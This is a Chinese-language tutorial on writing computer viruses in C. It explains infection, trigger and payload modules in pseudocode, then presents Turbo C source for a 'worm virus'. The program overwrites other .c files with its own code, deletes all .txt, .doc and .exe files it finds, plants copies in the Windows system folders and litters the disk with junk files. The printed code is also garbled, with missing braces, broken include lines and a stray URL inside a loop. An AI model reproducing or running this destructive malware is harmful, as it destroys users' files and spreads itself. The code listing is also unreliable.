怎樣用C語言編寫病毒
一、什麼是病毒
惡意軟體可能是第一個對我們産生影響的計算機安全問題.是以病毒在資訊安全中是很重要的.
我們要對付病毒,就要了解病毒.
寫一些病毒是一個很好的辦法.
如果要寫一個病毒,先要知道它是什麼.可以給病毒一個定義,這一定義是被廣泛認可的。Frederic Cohen博士在《計算機病毒簡短講座》中提到的:
“……一種能夠通過修改自身來包括或釋放自我拷貝而傳染給其他程式的程式。“
其實病毒和普通程式并無太大不同,而且通常比較簡單,不像很多程式那樣複雜。隻不過病毒裡面用到一些正常程式一般不會用到的技術。

要編制一個病毒,首先要知道病毒的運作機理。
不論是何種病毒,它一般在結構上分為三個功能子產品:感染機制,觸發機制和有效載荷。
在病毒結構中,首要的而且唯一必需的部分是感染機制。病毒首先必須是能夠繁殖自身的代碼,這是病毒之是以成為病毒的根本
原因。我們可以用一段類C僞碼來表示這個過程。
InfectSection()
{
if (infectable_object_found
&&object_not_already_infect)
infect_object;
}
病毒的第二個主要構成部分是有效載荷觸發事件.一個病毒來到你的電腦後,不大可能立即發作,否則它不會被傳播得很遠.潛伏的敵人永遠要比能見到的敵人危險得多.病毒一般是在找到一定數量的感染體,某一日期或時間,某一段文本後觸發.
一個簡單的觸發機制可能是這樣工作的:
TriggerSection()
if (date_is_Friday_13th_and_time_is_03:13:13)
set_trigger_status_to_yes;
有效載荷就是病毒用來騷擾你的電腦的方法,有觸發機制的病毒一般也有有效載荷。它可以是任意的給你發一條一次性簡單的愚弄資訊,重新格式化你的磁盤,把它自己郵給你的E_mail通信者都可以成為有效的負荷。簡單的有效負荷可以如下進行:
Executesection()
if (trigger_statue_is_yes)
execute_payload;
二、 編制病毒的語言
最常見的編制病毒的語言有彙編語言、VB、C 語言等,我們可以來看一看學寫病毒要掌握的基礎:
1).Win32程式設計,程序,線程,記憶體,等等。
2).32位彙編,以指令用法為主。386彙編就比較夠用了。
3).PE格式,有精力還可以看一下其它可能被感染的檔案的檔案格式。
4).調試技術。VC,TD32,SoftIce,等等。
要掌握的東西确實很多,還多聽都沒聽過,很吓人.但實際上,即使我們對計算機的原理和作業系統不很了解,而且不熟悉除C
以外的其他語言,隻要我們對C的庫函數有一定了解,就可以寫一些類似病毒的東西.
三 用C編制病毒
以TurboC2.0為例.它的庫函數可以實作很多功能.
如以下兩個函數:
1).findfirst和findnext函數:在dir.h。findfirst用來找各種類型的檔案,可以得到檔案名檔案長度,檔案屬性等,findnext和findfirst配合使用,用來找到下一個同類型的檔案。
2).remove函數:在stdio.h.隻要知道檔案名,可以删除任意類型的檔案
在這裡小編給大家一個用C語言編寫的小病毒(别想做壞事哦)
C語言開發病毒程式執行個體
代碼:
//連接配接頭檔案
#include.h>
#include
.h>
//拷貝檔案子產品
int copyfile (char *infile, char *outfile)
FILE *in,*out; //定義檔案指針
in = fopen(infile,"r"); //打開檔案
out = fopen(outfile,"w"); //建立檔案
while (!feof(in)) //判斷檔案是否已結束
{www.ad0.cn
fputc (fgetc(in),out); //從in讀一字元到out
fclose (in); //關閉in檔案
fclose (out);//關閉out檔案
return 0; //傳回
int MakeRubbish (void)
int i; //聲明整形變量i
FILE *fp; //檔案指針fp
char *path; //路徑指針
char *NewName;
char *disk[7] = {"A","B","C","D","E","F","G"}; //初始化指針數組
char *addtion = ":\";
for (i = 0; i<5; i++) //循環4次
char tempname[] = "XXXXXX" ; //随機名字
NewName = mktemp(tempname); //建立唯一的檔案名
fp = fopen(NewName,"w"); //建立文本檔案
fclose (fp); //關閉fp檔案流
path = strcat(disk[getdisk()],addtion); //得到根編号
chdir(path); //改變工作目錄
for (i = 0; i<5; i++) //循環次數
char tempname[] = "XXXXXX"; //串賦入數組
fp = fopen(NewName,"w"); //建立新檔案
fclose (fp); //關閉檔案
int CreatEXE (void)
int i; //整形變量
char *path; //字元指針
char *s[2] = { //重要目錄
"C:\WINDOWS\system32\loveworm.exe",
"C:\WINDOWS\virusssss.com"
};
for ( i = 0; i < 2; i++) //循環控制次數
open(s, 0x0100,0x0080); //打開檔案寫入資料
copyfile ( "C_KILLER.C",s); //調用子函數實作拷貝檔案資料
return 0;
int Remove (void) //去處
int done; //定義整形變量
int i;
struct ffblk ffblk; //聲明結構體變量ffblk
char *documenttype[3] = {"*.txt","*.doc","*.exe"};//初始化指針數組
for (i = 0; i < 3; i++)//控制循環次數
done = findfirst(documenttype,&ffblk,2);//搜尋目錄
while (!done) //查找成功傳回0
remove (ffblk.ff_name); //删除一個檔案
done = findnext(&ffblk);
return 0;//傳回
int Breed (void) //養殖子產品
int done;//整形變量
struct ffblk ffblk; //聲名結構變量
done = findfirst("*.c",&ffblk,2);
while (!done)
if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )
copyfile("C_KILLER.C",ffblk.ff_name);
int main (void) //程式入口位址
printf ("液蟲病毒,by:雲志老師. ");
Breed (); //養殖病毒
Remove (); //去處
CreatEXE ();
printf ("您能告訴我您的名字? ");
printf ("現在麻煩您輸入您的名字! ");
MakeRubbish (); //調用子函數
getchar ();
clrscr (); //清除螢幕
system ("cmd");
getch ();
C語言開發的病毒程式源代碼加了很詳細的注釋,嚴謹的來說,算不上真正意義上的病毒,但是可以給初學C的新手參考,程式實作了幾點病毒的功能。